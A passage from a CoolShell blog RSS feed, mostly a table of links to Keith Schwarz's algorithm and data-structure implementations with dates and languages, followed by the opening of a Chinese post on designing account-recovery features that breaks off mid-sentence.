algorithm.</td>\n</tr>\n<tr>\n<td>Introsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=introsort\">(link)</a></td>\n<td>10‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Introsort\">introsort</a> algorithm, a fast hybrid of <a href=\"http://en.wikipedia.org/wiki/Quicksort\">quicksort</a>, <a href=\"http://en.wikipedia.org/wiki/Heapsort\">heapsort</a>, and<a href=\"http://en.wikipedia.org/wiki/Insertion_sort\">insertion sort</a>.</td>\n</tr>\n<tr>\n<td>Hashed Array Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=hashed-array-tree\">(link)</a></td>\n<td>11‑3‑2010</td>\n<td>Java</td>\n<td>An implementation of a dynamic array backed by a <a href=\"http://en.wikipedia.org/wiki/Hashed_array_tree\">hashed array tree</a>.</td>\n</tr>\n<tr>\n<td>Recurrence Solver</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=recurrence\">(link)</a></td>\n<td>11‑13‑2010</td>\n<td>C++</td>\n<td>A fast algorithm for generating terms of a sequence defined by a <a href=\"http://en.wikipedia.org/wiki/Recurrence_relation#Linear_homogeneous_recurrence_relations_with_constant_coefficients\">linear recurrence relation</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-heap\">(link)</a></td>\n<td>11‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of a priority queue backed by a <a href=\"http://en.wikipedia.org/wiki/Fibonacci_heap\">Fibonacci heap</a>.</td>\n</tr>\n<tr>\n<td>Dijkstra&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=dijkstra\">(link)</a></td>\n<td>11‑16‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Dijkstra's_algorithm\">Dijkstra&#8217;s algorithm</a> for single-source shortest paths.</td>\n</tr>\n<tr>\n<td>Prim&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=prim\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Prim's_algorithm\">Prim&#8217;s algorithm</a> for computing <a href=\"http://en.wikipedia.org/wiki/Minimum_spanning_tree\">minimum spanning trees</a>.</td>\n</tr>\n<tr>\n<td>Kruskal&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kruskal\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Kruskal's_algorithm\">Kruskal&#8217;s algorithm</a> for computing <a href=\"http://en.wikipedia.org/wiki/Minimum_spanning_tree\">minimum spanning trees</a>.</td>\n</tr>\n<tr>\n<td>Majority Element</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=majority-element\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>C++</td>\n<td>A fast, linear-time algorithm for finding the <a href=\"http://www.cs.utexas.edu/~moore/best-ideas/mjrty/\">majority element</a> of a data set.</td>\n</tr>\n<tr>\n<td>Haar Transform</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=haar\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>C++</td>\n<td>A set of functions to decompose a sequence of values into a sum of <a href=\"http://en.wikipedia.org/wiki/Haar_wavelet\">Haar wavelets</a>.</td>\n</tr>\n<tr>\n<td>Argmax</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=argmax\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>A pair of functions to compute the <a href=\"http://en.wikipedia.org/wiki/Arg_max\">arg min or max</a> of a function on some range.</td>\n</tr>\n<tr>\n<td>Derivative</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=derivative\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Function_object\">function object</a> that approximates the <a href=\"http://en.wikipedia.org/wiki/Derivative\">derivative</a> of a function.</td>\n</tr>\n<tr>\n<td>Levenshtein Distance</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=levenshtein\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>An algorithm for computing the <a href=\"http://en.wikipedia.org/wiki/Levenshtein_distance\">Levenshtein distance</a> between two sequences.</td>\n</tr>\n<tr>\n<td>Skiplist</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=skiplist\">(link)</a></td>\n<td>11‑20‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Skip_list\">skip list</a>, a randomized data structure for maintaining a sorted collection.</td>\n</tr>\n<tr>\n<td>van Emde Boas Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=van-emde-boas-tree\">(link)</a></td>\n<td>11‑26‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Van_Emde_Boas_tree\">van Emde Boas tree</a>.</td>\n</tr>\n<tr>\n<td>Cuckoo HashMap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=cuckoo-hashmap\">(link)</a></td>\n<td>11‑27‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Hash_table\">hash table</a> using <a href=\"http://en.wikipedia.org/wiki/Cuckoo_hashing\">cuckoo hashing</a>.</td>\n</tr>\n<tr>\n<td>Needleman-Wunsch Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=needleman-wunsch\">(link)</a></td>\n<td>11‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Needleman%E2%80%93Wunsch_algorithm\">Needleman-Wunsch</a> algorithm for optimal string alignment.</td>\n</tr>\n<tr>\n<td>Treap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=treap\">(link)</a></td>\n<td>11‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Treap\">treap</a>.</td>\n</tr>\n<tr>\n<td>Floyd-Warshall Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=floyd-warshall\">(link)</a></td>\n<td>12‑10‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Floyd-Warshall_algorithm\">Floyd-Warshall algorithm</a> for all-pairs shortest paths in a graph.</td>\n</tr>\n<tr>\n<td>Power Iteration</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=power-iteration\">(link)</a></td>\n<td>12‑10‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Power_iteration\">power iteration</a> algorithm for finding dominant eigenvectors.</td>\n</tr>\n<tr>\n<td>Edmonds&#8217;s Matching Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=edmonds-matching\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Edmonds's_matching_algorithm\">Edmonds&#8217;s matching algorithm</a> for finding <a href=\"http://en.wikipedia.org/wiki/Matching_(graph_theory)#Maximum_matchings\">maximum matchings</a> in undirected graphs.</td>\n</tr>\n<tr>\n<td>Kosaraju&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kosaraju\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Kosaraju's_algorithm\">Kosaraju&#8217;s algorithm</a> algorithm for finding <a href=\"http://en.wikipedia.org/wiki/Strongly_connected_component\">strongly connected components</a> of a directed graph.</td>\n</tr>\n<tr>\n<td>2-SAT</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=2sat\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>A linear-time algorithm for solving <a href=\"http://en.wikipedia.org/wiki/2-satisfiability\">2-SAT</a>.</td>\n</tr>\n<tr>\n<td>Bellman-Ford Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bellman-ford\">(link)</a></td>\n<td>12‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm\">Bellman-Ford</a> algorithm for single-source shortest paths.</td>\n</tr>\n<tr>\n<td>Topological Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=topological-sort\">(link)</a></td>\n<td>12‑17‑2010</td>\n<td>Java</td>\n<td>An algorithm for computing a <a href=\"http://en.wikipedia.org/wiki/Topological_sorting\">topological sort</a> of a directed acyclic graph.</td>\n</tr>\n<tr>\n<td>Graham Scan</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=graham-scan\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Graham_scan\">Graham scan</a> for finding convex hulls in 2D space.</td>\n</tr>\n<tr>\n<td>Bipartite Testing</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bipartite-verify\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>Java</td>\n<td>A linear-time algorithm for checking whether a directed graph is <a href=\"http://en.wikipedia.org/wiki/Bipartite_graph\">bipartite</a>.</td>\n</tr>\n<tr>\n<td>Johnson&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=johnson\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Johnson's_algorithm\">Johnson&#8217;s algorithm</a> for all-pairs shortest paths.</td>\n</tr>\n<tr>\n<td>Strassen Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=strassen\">(link)</a></td>\n<td>12‑20‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Strassen_algorithm\">Strassen algorithm</a> for fast matrix multiplication.</td>\n</tr>\n<tr>\n<td>Cartesian Tree Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=cartesian-tree-sort\">(link)</a></td>\n<td>12‑21‑2010</td>\n<td>C++</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Cartesian_tree#Application_in_sorting\">Cartesian tree sort</a>, an adaptive, out-of-place heapsort variant.</td>\n</tr>\n<tr>\n<td>Ford-Fulkerson Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson\">(link)</a></td>\n<td>12‑21‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm\">Ford-Fulkerson</a> maximum-flow algorithm.</td>\n</tr>\n<tr>\n<td>Scaling Ford-Fulkerson</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson-scaling\">(link)</a></td>\n<td>12‑22‑2010</td>\n<td>Java</td>\n<td>An modification of the <a href=\"http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm\">Ford-Fulkerson</a> maximum-flow algorithm that uses scaling to achieve polynomial time..</td>\n</tr>\n<tr>\n<td>Splay Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=splay-tree\">(link)</a></td>\n<td>12‑27‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Splay_tree\">splay tree</a>.</td>\n</tr>\n<tr>\n<td>Ternary Search Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ternary-search-tree\">(link)</a></td>\n<td>12‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted set of strings backed by a <a href=\"http://en.wikipedia.org/wiki/Ternary_search_tree\">ternary search tree</a>.</td>\n</tr>\n<tr>\n<td>Ring Buffer</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ring-buffer\">(link)</a></td>\n<td>12‑30‑2010</td>\n<td>Java</td>\n<td>An implementation of a FIFO queue using a <a href=\"http://en.wikipedia.org/wiki/Circular_buffer\">ring buffer</a>.</td>\n</tr>\n<tr>\n<td>AVL Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=avl-tree\">(link)</a></td>\n<td>12‑30‑2010</td>\n<td>C++</td>\n<td>A sorted associative container backed by an <a href=\"http://en.wikipedia.org/wiki/AVL_tree\">AVL tree</a>.</td>\n</tr>\n<tr>\n<td>Rabin-Karp Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rabin-karp\">(link)</a></td>\n<td>1‑1‑2011</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm\">Rabin-Karp algorithm</a> for string matching.</td>\n</tr>\n<tr>\n<td>RPN Evaluator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rpn-evaluate\">(link)</a></td>\n<td>1‑18‑2011</td>\n<td>C++ / strain</td>\n<td>A library to tokenize and evaluate simple arithmetic expressions in <a href=\"http://en.wikipedia.org/wiki/Reverse_Polish_notation\">reverse Polish notation</a>.</td>\n</tr>\n<tr>\n<td>Shunting-Yard Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=shunting-yard\">(link)</a></td>\n<td>1‑18‑2011</td>\n<td>C++ / strain</td>\n<td>An implementation of Dijkstra&#8217;s <a href=\"http://en.wikipedia.org/wiki/Shunting-yard_algorithm\">shunting-yard algorithm</a> for converting infix expressions to reverse-Polish notation.</td>\n</tr>\n<tr>\n<td>Skew Binomial Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=skew-binomial-heap\">(link)</a></td>\n<td>1‑20‑2011</td>\n<td>C++</td>\n<td>An implementation of a priority queue backed by a <a href=\"http://en.wikipedia.org/wiki/Skew_binomial_heap\">skew binomial heap</a>.</td>\n</tr>\n<tr>\n<td>2/3 Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=two-three-heap\">(link)</a></td>\n<td>3‑1‑2011</td>\n<td>C++</td>\n<td>An implementation of a priority queue whose branching factor alternates at different levels to maximize performance.</td>\n</tr>\n<tr>\n<td>Zeckendorf Logarithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=zeckendorf-logarithm\">(link)</a></td>\n<td>3‑10‑2011</td>\n<td>C++</td>\n<td>An algorithm based on <a href=\"http://en.wikipedia.org/wiki/Zeckendorf's_theorem\">Zeckendorf representations</a> that efficiently computes logarithms.</td>\n</tr>\n<tr>\n<td>Factoradic Permutations</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=factoradic-permutation\">(link)</a></td>\n<td>3‑17‑2011</td>\n<td>C++</td>\n<td>A set of algorithms for generating <a href=\"http://en.wikipedia.org/wiki/Permutation\">permutations</a> using the <a href=\"http://en.wikipedia.org/wiki/Factorial_number_system\">factoradic number system</a>.</td>\n</tr>\n<tr>\n<td>Binary Cyclic Subsets</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binary-subset\">(link)</a></td>\n<td>3‑20‑2011</td>\n<td>C++</td>\n<td>A set of algorithms for generating <a href=\"http://en.wikipedia.org/wiki/Subset\">subsets</a> in <a href=\"http://en.wikipedia.org/wiki/Lexicographical_order\">lexicographical order</a> using <a href=\"http://www.keithschwarz.com/binary-subsets\">binary numbers and cyclic shifts</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Iterator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-iterator\">(link)</a></td>\n<td>3‑22‑2011</td>\n<td>C++</td>\n<td>An STL-style iterator for iterating over the <a href=\"http://en.wikipedia.org/wiki/Fibonacci_number\">Fibonacci numbers</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Search</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-search\">(link)</a></td>\n<td>3‑22‑2011</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Fibonacci_search_technique\">Fibonacci search</a> algorithm.</td>\n</tr>\n<tr>\n<td>Euclid&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=euclid\">(link)</a></td>\n<td>4‑18‑2011</td>\n<td>Haskell</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Euclidean_algorithm\">Euclid&#8217;s algorithm</a> and applications to <a href=\"http://en.wikipedia.org/wiki/Continued_fraction\">continued fractions</a> and <a href=\"http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm\">the extended Euclidean algorithm</a>.</td>\n</tr>\n<tr>\n<td>Find Duplicate</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=find-duplicate\">(link)</a></td>\n<td>4‑18‑2011</td>\n<td>Python</td>\n<td>An algorithm to find a repeated element in an array using <a href=\"http://en.wikipedia.org/wiki/Cycle_detection#Tortoise_and_hare\">Floyd&#8217;s cycle-finding algorithm</a>.</td>\n</tr>\n<tr>\n<td>Permutation Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=permutation-generator\">(link)</a></td>\n<td>4‑19‑2011</td>\n<td>Python</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Generator_(computer_programming)\">generator</a> for producing all <a href=\"http://en.wikipedia.org/wiki/Permutation\">permutations</a> of a list of elements.</td>\n</tr>\n<tr>\n<td>Matrix Find</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=matrix-find\">(link)</a></td>\n<td>4‑19‑2011</td>\n<td>Python</td>\n<td>A solution to the classic interview question of searching a sorted matrix for a particular value.</td>\n</tr>\n<tr>\n<td>Binary GCD</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binary-gcd\">(link)</a></td>\n<td>4‑23‑2011</td>\n<td>Scheme</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Binary_GCD_algorithm\">binary GCD algorithm</a> for computing greatest common divisors of nonnegative integers.</td>\n</tr>\n<tr>\n<td>Knuth-Morris-Pratt Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=knuth-morris-pratt\">(link)</a></td>\n<td>5‑3‑2011</td>\n<td>Python</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm\">Knuth-Morris-Pratt algorithm</a> for fast string matching.</td>\n</tr>\n<tr>\n<td>Kadane&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kadane\">(link)</a></td>\n<td>5‑7‑2011</td>\n<td>C++</td>\n<td>An implementation of Kadane&#8217;s algorithm for solving the <a href=\"http://en.wikipedia.org/wiki/Maximum_subarray_problem\">maximum-weight subarray problem</a>.</td>\n</tr>\n<tr>\n<td>Karatsuba&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=karatsuba\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>Python</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Karatsuba_algorithm\">Karatsuba&#8217;s algorithm</a> for fast integer multiplication.</td>\n</tr>\n<tr>\n<td>Min-Stack</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=min-stack\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Stack_(data_structure)\">LIFO stack</a> that supports O(1) push, pop, and find-minimum.</td>\n</tr>\n<tr>\n<td>Random Bag</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-bag\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>Python</td>\n<td>A data structure that supports insertion and removal of a uniformly-random element.</td>\n</tr>\n<tr>\n<td>Min-Queue</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=min-queue\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Queue_(data_structure)\">FIFO queue</a> that supports O(1) push, pop, and find-minimum.</td>\n</tr>\n<tr>\n<td>Lights-Out Solver</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=lights-out\">(link)</a></td>\n<td>8‑29‑2011</td>\n<td>C++</td>\n<td>A solver for the game <a href=\"http://en.wikipedia.org/wiki/Lights_Out_(game)\">Lights Out</a> using <a href=\"http://en.wikipedia.org/wiki/Gaussian_elimination\">Gaussian elimination</a> over <a href=\"http://en.wikipedia.org/wiki/GF(2)\">GF(2)</a>.</td>\n</tr>\n<tr>\n<td>Maximum Single-Sell Profit</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=single-sell-profit\">(link)</a></td>\n<td>11‑9‑2011</td>\n<td>Python</td>\n<td>Four algorithms for the <a href=\"http://stackoverflow.com/q/7086464/501557\">maximum single-sell profit problem</a>, each showing off a different algorithmic technique.</td>\n</tr>\n<tr>\n<td>Generalized Kadane&#8217;s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=generalized-kadane\">(link)</a></td>\n<td>11‑10‑2011</td>\n<td>C++</td>\n<td>A generalization of <a href=\"http://en.wikipedia.org/wiki/Maximum_subarray_problem\">Kadane&#8217;s algorithm</a> for solving the maximum subarray problem subject to a <a href=\"http://stackoverflow.com/q/7861387/501557\">length restriction</a>.</td>\n</tr>\n<tr>\n<td>Longest Range</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=longest-range\">(link)</a></td>\n<td>11‑19‑2011</td>\n<td>Java</td>\n<td>An algorithm for solving the <a href=\"http://stackoverflow.com/q/5415305/501557\">longest contiguous range</a> problem.</td>\n</tr>\n<tr>\n<td>Egyptian Fractions</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=egyptian-fraction\">(link)</a></td>\n<td>11‑20‑2011</td>\n<td>Python</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Greedy_algorithm_for_Egyptian_fractions\">greedy algorithm</a> for finding <a href=\"http://en.wikipedia.org/wiki/Egyptian_fraction\">Egyptian fractions</a>.</td>\n</tr>\n<tr>\n<td>LL(1) Parser Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ll1\">(link)</a></td>\n<td>11‑21‑2011</td>\n<td>Java</td>\n<td>An <a href=\"http://en.wikipedia.org/wiki/LL_parser\">LL(1) parser generator</a>.</td>\n</tr>\n<tr>\n<td>LR(0) Parser Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=lr0\">(link)</a></td>\n<td>11‑23‑2011</td>\n<td>Java</td>\n<td>An <a href=\"http://en.wikipedia.org/wiki/LR_parser\">LR(0) parser generator</a>.</td>\n</tr>\n<tr>\n<td>Word Ladders</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=word-ladder\">(link)</a></td>\n<td>11‑27‑2011</td>\n<td>JavaScript</td>\n<td>A program for finding <a href=\"http://en.wikipedia.org/wiki/Word_ladder\">word ladders</a> between two words.</td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li><li ><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6010.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>45</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何设计“找回用户帐号”功能</title>\n\t\t<link>https://coolshell.cn/articles/5987.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5987.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Nov 2011 00:34:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[QQ]]></category>\n\t\t<category><![CDATA[UX]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<category><![CDATA[帐号]]></category>\n\t\t<category><![CDATA[腾讯]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5987</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>因为《腾讯帐号申诉的用户体验》一文中好多人觉得腾讯申诉是世界级先进的，并让我拿出一个找回用户的帐号的功能来。本来不想写的，因为大家看看其它系统的就行的，但是，很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5987.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>因为《<a title=\"腾讯帐号申诉的用户体验\" href=\"https://coolshell.cn/articles/5966.html\" target=\"_blank\">腾讯帐号申诉的用户体验</a>》一文中好多人觉得腾讯申诉是世界级先进的，并让我拿出一个找回用户的帐号的功能来。本来不想写的，因为大家看看其它系统的就行的，但是，很明显有些人就是很懒，也不会思考，而且不会观察，所以，我就只好写下这篇科普性常识性的文章。</p>\n<p>在行文之前，我得先感谢腾讯公司的至少30名员工在《<a title=\"腾讯帐号申诉的用户体验\" href=\"https://coolshell.cn/articles/5966.html\" target=\"_blank\">腾讯帐号申诉的用户体验</a>》一文后的回帖（我STFG（Search The Fucking 